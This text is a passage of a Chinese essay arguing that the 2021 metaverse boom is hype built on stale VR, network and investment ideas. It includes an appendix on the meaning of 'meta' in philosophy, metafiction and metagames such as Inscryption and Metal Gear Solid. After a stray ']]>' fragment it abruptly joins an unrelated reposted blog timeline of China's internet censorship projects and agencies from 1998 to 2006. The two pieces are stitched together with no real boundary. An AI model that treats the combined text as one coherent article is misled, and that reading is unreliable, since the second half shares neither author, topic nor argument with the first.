IOI 的原型是什么,所有人心知肚明。结果到头来,这些反派背后的原型托拉斯跳出来,彻底无视了技术层面的困难与短板,号称要在现实世界中创造原本只存在于虚拟世界中的“元宇宙”——实话实说,放在 2021 这个魔幻现实主义大年,倒也不是什么预料之外的展开。
好了,让我们总结一下吧:
元宇宙的终端入口——主流VR产品难堪大用,主流AR设备八字没一撇,两条腿都是瘸的。
元宇宙的网络架构——分布式网络撑不起这种规模的数据交换量,退而求其次放弃去中心化,等同于剥除了元宇宙的自由本质这个核心卖点。
元宇宙的网络基建——5G更适合AR主场,对VR的意义相对有限,物联网也是一个道理。另外,云技术不是元宇宙的救世主,看看云游戏就懂。
元宇宙的基本逻辑——沉浸感和沉迷互斥,目前无解。
元宇宙的基本立场——目前炒作这个概念的“元宇宙”新贵,在 PPT 上呈现的产品,和他们展示理念所引用的科幻作品原型从根本上就是两个概念;确实存在符合元宇宙开拓者身份立场的游戏公司,但他们对目前的“元宇宙”潮流没兴趣,唯一沾点边的实际行动,就是在自家平台上封掉了包含 NFT 和区块链内容的游戏。
好了,关于“元宇宙”的技术探讨,到这里先暂时告一段落;那么,从逻辑和伦理的角度出发,由虚拟现实技术编织出的“元宇宙”,真会是比现实世界更美好的数字化应许之地吗?
我们曾在《Metaverse: 谁要我们跑步进入环形监狱》一文中描述过这个问题。
简单来说,与一个上帝并不存在或已经许久不发挥神迹的基底宇宙相比,存在上帝的元宇宙更令人感到可怕。
现实世界中无论是资本还是政治还是你相信的任何影响世界的神秘力量,在其发力的时候都受到熵的制约。
也就是任何限制、治理、管制,或者你不管叫它好的还是坏的强制力,都存在执行效率的问题。
比特币之所以能在全球主要国家联合剿杀的情况下运行这么多年,是基于一种灰度治理平衡,即现代主权国家无论如何真的很难管控所有曾经下载过比特币钱包的用户。因此,它实际上不能管控一个自然人使用比特币,只能管控一个经济人或法律人使用比特币。也就是各国会不断推出基于比特币与法币之间的交易监管政策,这本质是在管理自己国家的法币而不是在监管比特币。
现实世界中的现代社会虽然一直被法律与规则所拘束,但由于执法效率的问题我们始终处于一种灰度的治理平衡状态。
立法者无论如何也要考虑到,并不是所有的法律和规则都能被严格的精确执行,这既为犯罪者带来了侥幸心理,也为普通人留有人性的空间。
但这个灰度治理平衡,在元宇宙中是另一番景象。
在由企业或国家或任何单一组织控制的元宇宙中,“上帝”同时存在于元宇宙中和我们的基底宇宙中。这意味着,立法者与执法者将透过在基底宇宙中的“有限权利”获得元宇宙中至高无上的绝对权利它,无论他是谁,将拥有控制一个“宇宙”物理常数与规则的能力。
以最最简单的一则网络礼仪来举例。
现实世界中的法律无法规定“骂人者死刑”其实并不是因为骂人不值得死刑,而是因为以人类当今的技术,是无法实时监控到谁在骂人并进行取证的。但这件事在赛博空间里早有实现,屡次骂人者被禁言或删号从 BBS 时代就是网络通行规则。
但如果我们将一个人的账号视为一个人的数字孪生, 将元宇宙视为如 Shaan Puri 所说的“元宇宙是一个活得更有价值的虚拟世界”,这是不是意味着,“屡次骂人者封号”实际是一项“骂人者死刑”的严酷且可执行的法律?
这样的剧本,其实在过去已经上演过一遍——没错,远在 2021“元宇宙”潮流到来之前,那些早早吞下 VR 技术果实的新贵,垄断统治虚拟世界的野心,早已经暴露无遗。
2014年,时年 24 岁的 Palmer Luckey,接受了 20 亿美元的报价(后来扎克伯格确认,成本实际为 30 亿美元),将自己创立的 VR 品牌 Oculus 打包卖给了 Facebook。考虑到这宗收购的时间点以及交易金额,从那一刻开始,一直到 2016 年,Oculus 以及背后的 Facebook,都被创投媒体普遍认为“抓住了通向未来的钥匙”。
——直到 2016“VR 元年”正式到来,舆论形势急转直下。
整整拖延了半年的发货,高昂到离谱的定价,直接让 Oculus Rift 这个“VR 元年”的开启者,变成了2016年最大的输家;
随后,Oculus 的创始人 Palmer Luckey 被 Facebook 扫地出门,John D. Carmack,以及 Michael Abrash,这些曾被寄予厚望用 VR 再次改变世界的计算机图形学泰斗人物,逐渐被 Facebook 边缘化,Oculus Rift 代表的高性能 PCVR 路线,逐渐被 Oculus Quest 系列代表的中低端廉价“移动VR”产品路线取而代之。
改变的不仅仅是硬件。在被 Facebook 收购之前,Palmer Luckey 明确表示,Oculus 的产品路线图不能偏离“开放”和“包容”的原则,正因如此,早在 Oculus DK2 开发者套件流行的时候,就有民间 Geek 实现了“手机+移动电源+DK2 头显”的 DIY 模式——换句话来说,正是这种拓展性极强的开放形态,才创造出了“VR 一体机”最初的产品原型。
然而,在 Facebook 接手 Oculus 之后,开放包容的仪态荡然无存——沿用手机产品思路创造的“VR 一体机”自然不用多提,软件方面,从 2016 年开始 Facebook 就给 Oculus Rift 筑起了独占软件的垄断墙,即便同为必须连接 PC 的 VR 设备,即便和其它厂商的同期产品相比并无优势,甚至连内容本身也毫无亮点,想要体验这些鸡肋独占内容,额外的预算投入几乎是在所难免的。
事实上,由于 Facebook 实在是做得太绝,早在 2016 年的时候,VR 玩家社区就出现了一家名叫 Revive 的组织,旨在用技术手段打破 Facebook 的内容垄断墙,让其它 PCVR 玩家也能正常体验这些徒有其表的 Oculus 平台独占 VR 游戏(当然游戏本身还是必须由玩家购买的,Revive 并不是破解组织)。这种罗宾汉式的义举得到了 VR 玩家和媒体的广泛认同,甚至连 Oculus 的创始人 Palmer Luckey 在 2017 年被 Facebook 扫地出门之后,都对 Revive 表示了明确的支持。
但无论如何,这些明确的反对意见和行为,并没有改变 Facebook 的 VR 产品路线。从软件到硬件,利用垄断封闭的产品构筑的 VR 囚笼,依旧是扎克伯格理想中的 VR 美丽新世界:
然而,事实证明,抛弃了“开放性”的沃土,单凭垄断企业的一己之力想要主宰全人类的 VR 未来世界,显然没那么容易——太远的不提,早在 2017 年的 Oculus Connect 大会上,扎克伯格就亲自站台宣传过自家的 VR 社交平台,Oculus Venues:
顺带一提,这是本款 Facebook 第一方VR社交应用在官方商店的人气,以及产品现状:
当然,扎克伯格的 VR 社交野心铁定不会浅尝辄止。除了 Venues,Facebook 还推出过 Spaces 这种尬聊式VR应用,同样是扎克伯格本扎亲自站台宣传:
然后这款应用被喷上了天——媒体舆论纷纷表示,套着没有下半截躯干、形似手指布偶的卡通化身,身临其境地钻进全景拍摄的飓风灾害现场,用事不关己的轻佻语气点评灾情并把这一切录下来发到网上炫耀,简直彻底突破了做人的道德底线,自知理亏的扎克伯格乖乖道歉。
总之,Spaces 这款一上线就丢人现眼的 Facebook 第一方 VR 社交应用,现状如下:
什么?你说这就是元宇宙概念要拉上分布式网络,避免落入任何单一实体控制的原因?那请你回到上两节,去看看泥菩萨过江的 Web 3。
是的,经历过了漫长的论证,我们终于来到了这一轮元宇宙浪潮的核心环节,也就是元宇宙为什么会成为媒体和投资的“风口”。
在上文中,我们已经通过分析证明,这一轮作为风口的“元宇宙”中,所有的技术和概念都是陈旧的。
——但其实,甚至连这一轮风口的制作手法和金融操作,同样是陈旧的。
元宇宙中的每一项技术,在过去 5 年各自的垂类媒体里都已经是陈词滥调,我们甚至找不到一些这些技术的新“黑点”,因为他们实际上在过去5 年里毫无可以拿出来说的进步。
但当这些技术被打包成了一个名为元宇宙的新概念,就立刻成了风投、企业和媒体界的宠儿。这恰似是引发 2008 年美国金融危机的住房抵押贷款证券,本质是一堆必然暴雷的债权合集,但绑在一起就成为了 AAA 级理财产品。
一级市场投资和证券市场投资的逻辑不尽相同,风险投资的逻辑写在它的名字里,同时承担风险和追求回报是它的宿命。也正因如此,一级市场中的投资组合筛选才显得尤为重要。
但“元宇宙”并不是一个清晰的赛道,它本身就是一个投资组合,投资元宇宙在某种程度上是投资机构的一种消极怠工。元宇宙能够获得如此大规模的资本关注,本质上是资本对寻找真正有长期成长价值的投资标的已没有兴趣,只想把钱扔进一个稳健的理财组合里,而这个理财组合甚至不是由他们自己建立的。
反过来说,被包括在“元宇宙”行业图谱中的技术,任何一个技术的单点突破带来的收益都是巨大的。如果投资机构对这些技术有信心,那完全不必将这些技术包装为元宇宙的一环。比如在元宇宙概念技术中的多项涉及硬件的技术都与便携性相关,那么数码设备便携性的基础障碍之一是电池。如果人类的电池技术没有奇点临近式的突破,很难想象能够真的制造出一种比智能手机在便携与功能体验上更平衡的设备。
按照这个逻辑,电池也是元宇宙概念技术了,难怪新能源涨得这么疯。
然而,之所以资本不再关注单点技术,是因为处于元宇宙行业图谱中的这些单点技术都在过去的一段时间里被证明了具有不可逾越的应用障碍或技术缺陷。但已经投进去的钱,又不能收回来。
所以,就只能打包成光鲜亮丽的“衍生概念”卖给 new money 了。
这其中还有另外一个助推的因素,即传统金融市场在疫情大背景下的失能。
自疫情开始不久之后,全球主要金融市场都开始出现与实体经济背离的繁荣景象。但这一轮的繁荣有其关键特征,即资金迅速向公众认为不会因疫情倒闭的头部高科技公司集中。
这种资金抱团的现象,在某种程度上使得其它类别、其它量级的公司在二级市场上变得困难。对于传统 VC 来说,这意味着他们的投资退出通道变得更加狭窄了——“如果我投资的企业,受到疫情影响没能上市,或是上市价格较低怎么办?”
答案就是抱团。
既然二级市场中资金抱团了,那么不如让投资标的也抱团。
与 new money 联手打造全新概念,并借此机会推动自己手中无缘上市也无缘市场化的陈旧项目和技术专利被 FANNG 和 BAT 溢价收购。前者退出套现,后者拉高股价,最终再由二级市场中的投资人埋单。
这一路径,也许从 Oculus 被收购的时候开始就已经是注定的,唯一的因素是疫情加速了这一过程。
尽管本文全文以 Facebook 为例批判了元宇宙热炒的虚火,但希望读者能够认清,元宇宙赛道中的资本玩家远不止 Facebook 一个。
他们甚至不远在大洋彼岸。
既然“元宇宙”仅仅是一群互联网新贵燃起的虚火,那么,“元”到底是不是骗局?
在说完了本文的主要观点之后,我们不妨从头开始讨论一下“元”(Meta)的意义与价值。
特别提示:本段附录试图给那些从没玩过元游戏,或者只是简单接触过元游戏的读者讲讲元游戏,乃至“Meta(元)”的醍醐味,为此不可避免地涉及※大※量※剧※透※ 。如果您本身还有尝试这些经典老牌元游戏的愿望,建议略过此节不读。
好啦,让咱们开始吧——
“我过去学过古典文学,‘meta’这个词来源于希腊语,意思是‘超越’。对我而言,它象征着总有更多的东西要去构建,总有下一章的故事。”
关于“元”也就是“Meta”的定义,上周的开发者大会第一天,扎克伯格在《创始人的信》当中做出了以上说明——考虑到这个解释基本等于“听君一席话,如听一席话”,咱们还是自力更生找答案吧:
首先,有请一位咱们所有人都不陌生的希腊老熟人
——无错,亚里士多德。
和一辈子输出只靠一张嘴的苏格拉底不同,搞学问十项全能的亚里士多德,一辈子留下的典籍数量,用“著作等身,且不止一身”来形容丝毫不为过。不难想象,面对茫茫多的学术遗产,亚里士多德的后继者,着实为归档问题纠结了好久:
和古典时期的许多聪明人一样,亚里士多德的兴趣方向非常复杂,哪怕在看似相近的类别下,莫名其妙的主题也是层出不穷——例如,那些研究“身边事物”的著作里,既有“构成事物的物质”这种看得到摸得着的议题,也有“事物是个什么事物 ”这种纯粹基于想象的“本元问题”研究——先把分类命名搞定,显然属于当务之急。
大约在公元前1世纪的时候,雅典逍遥学派的后继者之一、罗德岛的安德罗尼库斯,把亚里士多德对“身边事物”的研究,总结成了两个分类:
其中一类,研究有形体的事物,被称作 physics——翻译过来,就是“物理”;
另一类,研究没有形体的事物,被称作 metaphysics——看,meta出现了!
顺带一提,metaphysics 的正式译名咱们应该都不陌生,就是形而上学。
由此可见,从文化和史学的角度来看,“meta”并不是什么诞生于信息时代的前卫概念;以形而上学为例,从古典到中世纪再到文艺复兴,这门从全局角度探讨“生命、宇宙以及一切”的“本质”学问,在整个西方哲学史上都占据着举足轻重的地位:
从笛卡尔到康德,再从黑格尔到休谟,在以世纪为单位的岁月里,大批载入史册和教科书的哲人,都在这门“meta”学术的发展史上,留下了自己思辨的痕迹。
不过,在迭代版本持续更新的同时,形而上学究竟“meta”出了什么结论,争议的声音也在逐渐泛起;终于,随着实证主义的崛起,并没有给出“生命、宇宙以及一切”终极答案的形而上学被推下神坛——“用孤立、静止、片面的观点看世界”,这种咱们耳熟能详的形而上学定义,源头之一就是这里。
但即便如此,探究本质的“meta”并没有被人遗忘,形而上学的影响力更是一直持续到了今天——举个最简单的例子:我是谁?我在哪?谁在打我?
这个吃鸡玩家都不陌生的灵魂三问,和形而上学的“哲学三问”,赫然是一脉相承:我是谁?我从哪来?我到哪去?
除了这种诙谐但意外精准的戏仿之外,从20世纪中期开始,伴随着后现代主义的崛起,“探究本质”的形而上学,在叙事学领域逐渐抬头,一系列挂着“meta”前缀的艺术表现类型,开始出现在我们面前——元小说(Metafiction)和元电影(Metacinema)就是个中典范,元游戏(Metagame)自然也不例外。
需要说明的是,尽管正式命名于 20 世纪,但采用“元叙事”创作手段的艺术作品,历史远不仅仅半个世纪那么短暂——例如说,塞万提斯创作于 17 世纪的《堂吉诃德》,就被不少学者认为是“元小说”的原型典范之一:
“执行遗嘱的两位先生如果碰见《堂吉诃德·台·拉·曼却生平事迹第二部》的作者,请代我竭诚向他道歉:他写那部荒谬绝伦的书,虽然没有受我委托,究竟还是为了我,我到死还是觉得对他不起。”
这是咱们堂吉诃德老先生在小说末尾留下的最后一句遗言,虽然文不甚公理不甚精,但三言两语之间,就把《堂吉诃德》这部虚构小说、“堂吉诃德”这个虚构人物外加塞万提斯这个真实存在的作者批判了一番,顺带手凿开了挡在虚构与现实之间的那面不可言状之墙,身体力行地完美解答了“在虚构的故事当中寻求真实的人脑袋是不是有问题”——把“meta”融入现代小说创作,效果就是这么惊艳。
再考虑到《堂吉诃德》人尽皆知的诙谐幽默,显而易见,从萌芽诞生到在近代迎来复兴,从哲学领域逐渐出圈的“meta”,并不是什么诘屈聱牙不可名状的玄学,事实上,它的接地气程度,远超预期:
没错,这些面向低龄读者的绘本,都属于标准的元叙事作品。
理所当然,和大部分三言两语说不尽主题的后现代“元小说”相比,这些元叙事的童书对“meta”展开的诠释,显然要更加通透:虚构和现实的界限被打破,“读者”不再是隔岸观景的局外人,而是越过了破碎的虚实边界,成为了整套开放式叙事架构的参与者——这种超越了传统叙事体系封闭自洽逻辑的颠覆式创作手法,就是“元叙事”最基本的定义。
元宇宙中最出挑的之所以是 VR ,与“元”这一概念在媒介中的演进是密不可分的。
元宇宙(Metaverse)这个词最初出现在上世纪 90 年代的科幻作品《雪崩》中,而《雪崩》之所以构想出元宇宙,是因为在上世纪 90 年代开始,3D技术刚刚崭露头角的电子游戏,已经开始探索利用元叙事的手法打破虚拟与现实的界限。
发售于 1998 年的《潜龙谍影》初代,在游戏流程初期的一场 Boss 战结束后,情节推进到需要联络潜伏在敌方内部的内应人员;然而,攸关后文展开的无线电联络频率,却在这时莫名其妙地遗失了(相关 NPC 表示“忘记了”),怎么办?
放在常规游戏里,这种故意刁难人的桥段,免不了要让玩家东奔西走白折腾半天,但《潜龙谍影》却给了我们截然不同的答案:
——注意红框里的“back of the CD case”,真相是这个:
就在《潜龙谍影》的实体游戏光盘包装盒背面,一张不起眼的游戏截图上,攸关情节推进的无线电通讯频率清晰可见。
尽管乍看之下,这种小技俩很容易让人联想到早期游戏厂商防止盗版设计的花招,但在《潜龙谍影》当中,这个桥段赫然是主线剧情的一环,个中含义可就不太一样了:
不要误会,我清楚我是游戏里的角色。想要把这个游戏继续玩下去,必须在游戏外做点事才行——这个我做不到,但你可以,没错,就是握着手柄盯着电视机的你。
这种直接破开“第四面墙”、在传统游戏闭环叙事逻辑上撬开天窗窥探新世界的震憾,正是23年前,《潜龙谍影》带给我们的元游戏体验——货真价实的meta颠覆滋味,清晰可辨。
综上所述,我们可以清晰地看出,逻辑层面上的“颠覆”,引申为对原有架构的“超越”,始终是“meta”概念的核心——研究现实世界的形而上学,要打破的是构筑“现实”的物理概念疆域;
研究我们创造物的元叙事,打破了小说、电影与游戏这些艺术创作的叙事边界。藉由这些颠覆性的僭越行为,来对隐藏在“常规认知”之下的概念本质进行探索,这就是作为“元”的 meta,真正的价值所在。
当然,对于 meta 这个词缀,其实还有更简单的理解方法。
正如“metaphysics”指的是“形而上学”,可以理解为“超越物质的学问”“理解物质世界的学问”“物质世界之后/之上才能有的学问”,其他使用“meta”的词汇也都是此意。
比如 metadata 就是用来描述数据的数据,如果没有 data 本身,系统里是不需要有一个“metadata”的。而常玩竞技游戏比如 DOTA 2 的玩家也会知道有个词叫“metahero”——这是什么意思呢,超越英雄的英雄?字面上是这样没错,实际上 metahero 指的是“版本答案”,也就是版本经过一段时间、玩家逐渐探寻出成熟战术以后,屹立于版本顶点的那些英雄。
熟悉龙与地下城的玩家更加熟悉,“metamagic”被直接翻译成了“超魔”,指的是改造基础魔法形成的新魔法。我们可以很简单地看到,meta 是一个相对概念,如果没有物质,就不会有“形而上学”;如果没有数据,就不会有元数据。同理,如果从没有过“game”,那么自然也就不会有“元游戏”。
这是为什么呢?我们或许需要从元游戏比较经典的几个早期作品说起。尽管《潜龙谍影》小小地运用过元游戏的手法,但是《潜龙谍影》本身不可以视作元游戏,因为它并非以这些手法作为游戏核心。
打开了很多国人玩家对元游戏认知的《ICEY》,在这方面用得就比较猛了——一个银河城式的动作冒险,却通过“旁白君”的存在火了起来。旁白君不断地提醒玩家游戏世界的虚构性(恰似《史丹利的寓言》),再点缀少量的类似“DOMO工作室”一样的彩蛋,对于许多从未接触过元游戏概念的玩家来说,还是蛮新鲜的。
不过《ICEY》的这些手段,其实停留在较浅的层次——或者说,还不敢对国内玩家造成太大的冲击。在另一些把“元”手段利用得更狠的游戏中,“虚构性”直接影响了游戏本身的进程。
比如在《One Shot》中,玩家需要像《潜龙谍影》翻CD盒那样,去探索存在在硬盘中的游戏文件。
又比如《你和她和她的恋爱》中,游戏干脆一边玩一边修改游戏自己的程式,导致玩家彻底无法走回头路——呃,360 安全卫士或许成了守护玩家记忆的英雄……
而在其实不太“元”的《Undertale》中,游戏的世界观干脆说明,玩家扮演的角色之所以那么强大,比游戏世界中的一切存在都厉害,是因为玩家拥有“决心”——决心是什么,是游戏的存档和读档机制啊。你可以挑战无限次对手,怎能不强?
而相比正能量的“决心”,《心跳文学部》利用的则是更加阴间的游戏机制。
这就涉及了“游戏之后”的本质问题:元游戏的设计,建立在游戏本身不同于现实世界的表现手法上;如果没有前人成百上千游戏作品的铺垫,这些手法就不会定型;如果作者不清楚游戏世界和真实世界到底有什么区别,也就无从“元”起。
上述是“元游戏”的第一个特征,也就是“超越游戏”。元游戏是基于游戏固有的生产方式和物理形态才诞生的,是“游戏之后的游戏”,利用了“手法之后的手法”。
而元游戏的另一个特征,则是与元小说、元电影相同的“自反性”。自反性提出的问题是,游戏是一种载体,还是内容本身?游戏需要传达的,是游戏中“真实的故事”,还是在地球上被游戏开发者做出来的,这个“真实的游戏”?
让我们从游戏鬼才Daniel Mullins的两款作品《Pony Island》和《Inscryption(邪恶冥刻)》谈起。比起已经快10年的《史丹利的寓言》,这两个游戏比较年轻,现在玩也还蛮新鲜。
在《Pony Island》中,玩家会被迫玩一个感觉怪怪的游戏,随后很快就会发觉,我们要做的不是“玩”“这个”游戏,而是“改”“另一个”游戏!因为在《Pony Island》中,玩家扮演的角色是一个被迫玩游戏的人;而想要成功破关,我们必须得先把这些游戏改得“能玩”。
这与《史丹利的寓言》中,那些在设计层面上反复提醒你游戏世界“不真实”或说“不够真实”的桥段有异曲同工之妙——他们揭露了游戏生产的思维方式,从游戏制作人的角度直接与玩家交流。而这些游戏的目的,多少是探寻游戏设计本身的道理和原则,或者吐槽游戏制作的辛酸——瞧瞧,这是不是和对应“物理学”的“形而上学”是一回事儿?
在《Inscryption(邪恶冥刻)》中,作者吸取了《Pony Island》的经验,让游戏的元叙事显得更巧妙。玩家花了几个小时玩一个卡牌游戏,结果视角一转——哇靠,这游戏居然不是卡牌游戏?
正如在《Pony Island》玩家扮演着被迫玩游戏的人,在《Inscryption(邪恶冥刻)》中,玩家扮演的则是“被迫打牌”的人。我们的目的不是一局一局无限打下去,而是逃出逼你打牌的人的魔爪——而游戏的表现方式,则是通过卡牌游戏-探索游戏两种视角、两种玩法的切换,让玩家陷入作者的“游戏诡计”,达到“新鲜刺激”的体验。
我们可以看到,在客观层面上,元游戏通过挖掘、揭露、拆分“游戏”这种文艺作品本身的理念和方法,来达到交流游戏、研究游戏的目的;而在主观层面上,这种“自反性”,或者说“刻意在虚构的世界里揭露虚构”的动作,并非“为了反而反”,而能达成一些强化游戏本身叙事、让游戏“更好玩”的目的。
刚才提到的《Inscryption(邪恶冥刻)》就是一个典型。很明显,对比“一个卡牌游戏”+“另一个密室逃脱游戏”,这种“卡牌糅合密室逃脱”的玩法虽然非常规一些,但给玩家带来的游戏体验绝非1+1=2那么简单。实现这种惊喜效果,靠的是游戏“受限的视角和自由度”(这些在《史丹利的寓言》中已经讲穿了)。
在必要的时候,“受限”反而是一件好事。如果玩家真的坐在桌子前打牌,我们会知道我们是和谁一起玩,在哪个朋友的家里,我们旁边有零食有水,知道应该几点离开,可以一边打牌一边聊天,甚至可以出老千……
游戏不需要还原这些东西,但是游戏能让你暂时“忘却”一些相对打牌没那么关键的要素。而在玩家通过种种细节意识到“我靠我好像真的坐在牌桌前”的时候,我们就可以站起来,玩另一种游戏了——这种体验,在现实的牌桌上,反而是不存在的。
而在另一些元游戏设计中,“游戏视角”也被以其他形式应用为类似“牌桌诡计”的手法。
比如在 VN 名作《Ever17》中,游戏把 Visual Novel(视觉小说)这种载体的固有形态发挥到极致,利用玩家“我扮演的肯定是游戏主角”这种先入为主的观念,制造了一个叙事谜题。经历几十小时的诡异剧情,直到玩家发现游戏内的各种描述都不合逻辑时,才会恍然发现“我靠这个视角不是主角视角”或者说“我靠这个人居然不是主角”,然后游戏想讲述的故事才真正开始。
我们可以发现,成功的元游戏作品对“虚构中的虚构”的利用,不仅没有破坏游戏本身的质量,让玩家“出戏”,反而通过限制玩家的输入、输出达成了更直接、更简洁、更巧妙的游戏设计,而无需提前在游戏系统和UI介绍中啰哩巴嗦一大堆,也能制作更复杂更深刻的游戏。
因此我们也可以说,“自反性”是表面的反和根本的“自”。在一个成功的元游戏中,游戏作为载体的“我被用来给大家描述一些内容”的价值,和游戏作为内容的“我本身就值得你们好好研究”的价值实现了比较完美的对立统一。而只有在这个层次上,我们才能发觉元游戏的价值,在game之前的“meta”才显得有意义而非那么矫情。
正如《堂吉诃德》虽然吐槽自己是一部胡来的书,但这种“胡来”又正好令整部书的荒诞显得那么真实和那么有现实意义。可以说,“自反性”正是元小说、元电影和元游戏的醍醐味所在。
然而由此一来,让我们重新审视一下“元宇宙(metaverse)”,结论马上就变得诡异起来:按照前面推导出的meta构词理论,“元宇宙(metaverse)”理应是对“现实宇宙”的颠覆乃至超越——然而,此时此刻站在风口浪尖的“元宇宙”,究竟是个什么定义?
一处虚拟现实空间,用户可以身处其中,与计算机生成的环境和其他人交流互动。
就这?
既没有实现大统一理论,也无法证明暗物质存在,就连地外生命存在与否都没有结论,从形式到实质上没有任何颠覆,就凭一个画地为牢继续把我们囚禁在社交网络里的数字监狱,也敢大言不惭地自称“元宇宙”?
就这,也配叫“meta”?
所以回到主题,我想说的也就很简单了:
首先,我看不到目前的“元宇宙”到底在哪里超越了“宇宙”,对“宇宙”的哪些存在和规则做了深入挖掘和利用,看到的只是一些使用粗糙的表现手法复制真实宇宙规则的低劣尝试。诚然,metaverse 也是“宇宙之后的宇宙”,但这不是脱了裤子放屁么?无论元数据、元游戏还是元小说,都是对“前者”存在的归纳、总结和升华,元宇宙到底升华在了哪里?
其次,我也看不到“元宇宙”的自反性,看不到载体和内容在元宇宙中的对立统一,只看到元宇宙把玩家从真实宇宙中割裂出来的孤独感。我并不反对任何人在虚拟世界里构建自己的小世界,这其实还蛮好玩的——但您愣要说这个东西和真实世界是互动、互补乃至超越的,恐怕嘴有点太大了吧?
按照因罗永浩转发而在中文互联网流行的最新一个版本来说(由投资 KOL Shaan Puri 发布于 Twitter),“元宇宙是一个时间”,元宇宙是如技术奇点一样,是大多数“人们发现生活在数字世界比生活在现实世界更有意义的那一刻”。
因此,元宇宙就是我们沉迷抖音与王者荣耀的当下,是我们默许了刷健康码才能出行的当下,是数字世界与物理世界无法完全被区分对待的当下,是芯片缺货导致手机和汽车涨价的当下,是 VR 设备永远不能小型化,是分布式互联网永远无法落地的当下。
照此说来,元宇宙就是基底宇宙,你我已在元宇宙之中。
那么,何谈未来呢?
]]>本文转自:http://blog.renren.com/share/200487056/5148854419(永久失效链接)
.
原始内容由互联网档案馆 存档于2017年4月21日:https://web.archive.org/web/20170421092911/http://blog.renren.com/share/200487056/5148854419
标题的GFW之所以加上引号是因为,GFW是局外人起的绰号,它的真实称呼并非如此,但”GFW”也确实如实涵盖了这一在中国一贯隐晦而模糊的概念。
1998年9月22日,公安部部长办公会议通过研究,决定在全国公安机关开展全国公安工作信息化工程――”金盾工程”建设。
1999年4月20日,公安部向国家计委送交金盾工程立项报告和金盾工程项目建议书。
1999年6月,国家计算机网络与信息安全管理中心成立,局级事业单位。
1999-2000年,在哈尔滨工业大学任教多年的方滨兴调任国家计算机网络与信息安全管理中心副总工程师。
1999年12月23日,国务院发文成立国家信息化工作领导小组,国务院副总理吴邦国任组长。其第一下属机构计算机网络与信息安全管理工作办公室设在已经成立的国家计算机网络与信息安全管理中心,取代计算机网络与信息安全管理部际协调小组,对”公安部、安全部、保密局、商用密码管理办公室以及信息产业部”等部门的网络安全管理进行组织协调。
2000-2002年,方滨兴在国家计算机网络与信息安全管理中心任总工程师、副主任、教授级高级工程师。
2000年4月20日,公安部成立金盾工程领导小组及办公室。
2000年5月,005工程开始实施。
2000年10月,信息产业部组建计算机网络应急处理协调中心。
2000年12月28日,第九届全国人民代表大会常务委员会第十九次会议通过《关于维护互联网安全的决定》。
2001年,方滨兴”计算机病毒及其预防技术”获国防科学技术三等奖,排名第一。
2001年,方滨兴获国务院政府特殊津贴、信息产业部”在信息产业部重点工程中出突出贡献特等奖先进个人”称号,中组部、中宣部、中央政法委、公安部、民部、人事部等联合授予”先进个人”称号。
2001年1月19日,国家计算机网络与信息安全管理中心上海分中心成立,位于上海市黄浦区中山南路508号6楼。国家计算机网络应急技术处理协调中心上海分中心是工业和信息化部直属的中央财政全额拨款事业单位。
2001年4月25日,”金盾工程”经国务院批准立项。
2001年7月,计算机网络与信息安全管理工作办公室批准哈尔滨工业大学建立国家计算机信息内容安全重点实验室,胡铭曾、方滨兴牵头。
2001年7月24日,国家计算机网络与信息安全管理中心广州分中心成立,位于广州市越秀区建中路2、4号。
2001年8月8日,国家计算机网络与信息安全管理中心组建国家计算机网络应急处理协调中心,缩写CNCERT/CC。
2001年8月23日,国家信息化领导小组重新组建,中央政治局常委、国务院总理朱镕基任组长。
2001年11月28日,国家计算机网络与信息安全管理中心上海互联网交换中心成立。提供”互联网交换服务,互联网骨干网华东地区数据交换,数据流量监测与统计,网间通信质量监督,交换中心设备维护与运行,网间互联费用计算,网间互联争议协调”,位于上海市黄浦区中山南路508号。
2001年11月28日,国家计算机网络与信息安全管理中心广州互联网交换中心成立,位于广州市越秀区建中路204号。
2001年12月,在北京的国家计算机网络与信息安全管理中心综合楼开始兴建。
2001年12月17日,国家计算机网络与信息安全管理中心湖北分中心成立。
2002年,方滨兴任中国科学院计算技术研究所客座研究员、博士生导师、信息安全首席科学家。2002-2006年,方滨兴在国家计算机网络与信息安全管理中心任主任、总工程师、教授级高级工程师,升迁后任其名誉主任。
2002年1月25日,报道称:”国家计算机网络与信息安全管理中心上海互联网交换中心日前开通并投入试运行,中国电信、中国网通、中国联通、中国吉通等4家国家级互联单位首批接入。中国移动互联网的接入正在进行之中,近期可望成为第五家接入单位。”
2002年2月1日,国家计算机网络与信息安全管理中心新疆分中心成立。
2002年2月25日,国家计算机网络与信息安全管理中心贵州分中心成立。
2002年3月20日,多个国家计算机网络与信息安全管理中心省级分中心同时成立。
2002年9月3日,Google.com被封锁,主要手段为DNS劫持。
2002年9月12日,Google.com封锁解除,之后网页快照等功能被封锁,手段为TCP会话阻断。
2002年11月,经费6600万的国家信息安全重大项目”大范围宽带网络动态阻断系统”(大范围宽带网络动态处置系统)项目获国防科学技术二等奖。云晓春排名第一,方滨兴排名第二。哈尔滨工业大学计算机网络与信息内容安全重点实验室李斌、清华大学计算机系网络技术研究所、清华大学网格计算研究部杨广文有参与。
2003-2007年,方滨兴任信息产业部互联网应急处理协调办公室主任。
2003年1月31日,经费4.9亿的国家信息安全重大项目”国家信息安全管理系统”(005工程)获2002年度国家科技进步一等奖,方滨兴排名第一,胡铭曾排名第二,清华大学排名第三,哈尔滨工业大学排名第四,云晓春排名第四,北京大学排名第五,郑纬民排名第七,中国科学院计算技术研究所有参与。
2003年2月,在北京的国家计算机网络与信息安全管理中心综合楼工程竣工。
2003年7月,国家计算机网络应急处理协调中心更名为国家计算机网络应急技术处理协调中心。
2003年9月2日,全国”金盾工程”会议在北京召开,”金盾工程”全面启动。
2004年,国家信息安全重大项目”大规模网络特定信息获取系统”,经费7000万,获国家科技进步二等奖。
2005年,方滨兴任国防科学技术大学兼职教授、特聘教授、博士生导师。
2005年,方滨兴被遴选为中国工程院院士。
2005年,”该系统”已经在北京、上海、广州、长沙建立了互相镜像的4套主系统,之间用万兆网互联。每套系统由8CPU的多节点集群构成,操作系统是红旗Linux,数据库用的是OracleRAC。2005年国家计算机网络与信息安全管理中心(北京)就已经建立了一套384*16节点的集群用于网络内容过滤(005工程)和短信过滤(016工程)。该系统在广州、上海都有镜像,互相以十万兆网链接,可以协同工作,也可以独立接管工作。
2006年11月16日,”金盾工程”一期在北京正式通过国家验收,其为”为中华人民共和国公安部设计,处理中国公安管理的业务,涉外饭店管理,出入境管理,治安管理等的工程”。
